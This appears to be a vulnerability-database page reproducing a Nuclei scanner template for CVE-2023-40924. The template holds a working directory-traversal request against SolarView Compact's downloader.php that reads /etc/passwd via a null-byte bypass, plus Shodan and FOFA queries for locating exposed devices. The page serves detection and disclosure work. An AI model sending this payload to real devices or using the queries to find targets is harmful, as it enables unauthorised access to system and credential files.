CVE-2023-40924: SolarView Compact < 6.00 - Directory Traversal

2026-04-09 SolarView Compact PoC Public

Description

SolarView Compact before version 6.00 is vulnerable to directory traversal via the file parameter in downloader.php. An unauthenticated attacker can read arbitrary files from the system by using path traversal sequences with a null byte bypass to access sensitive files such as /etc/passwd.

PoC

id: CVE-2023-40924

info:
  name: SolarView Compact < 6.00 - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    SolarView Compact before version 6.00 is vulnerable to directory traversal via the file parameter in downloader.php. An unauthenticated attacker can read arbitrary files from the system by using path traversal sequences with a null byte bypass to access sensitive files such as /etc/passwd.
  impact: |
    An attacker can read sensitive system files including /etc/passwd which may contain password hashes on embedded devices, potentially leading to full system compromise.
  remediation: |
    Upgrade SolarView Compact to version 6.00 or later.
  reference:
    - https://github.com/Yobing1/CVE-2023-40924/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40924
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-40924
    epss-score: 0.03196
    epss-percentile: 0.87472
    cwe-id: CWE-22
    cpe: cpe:2.3:o:contec:solarview_compact_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: solarview_compact_firmware
    shodan-query:
      - http.html:"SolarView Compact"
      - http.favicon.hash:"-244067125"
      - http.html:"solarview compact"
    fofa-query:
      - body="solarview compact"
      - icon_hash="-244067125"
  tags: cve,cve2023,lfi,solarview,contec,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../etc/passwd%00.jpg"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090a911eb4cee556127575b0c5906a6814ba2cf3e494e3ff317a61f065c80dfc2022100a76978530d7ac9fa9fc97ba57e826437a15bad5c125cc1825b57bd9c5a941448:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-40924.yaml

References

Related Vulnerabilities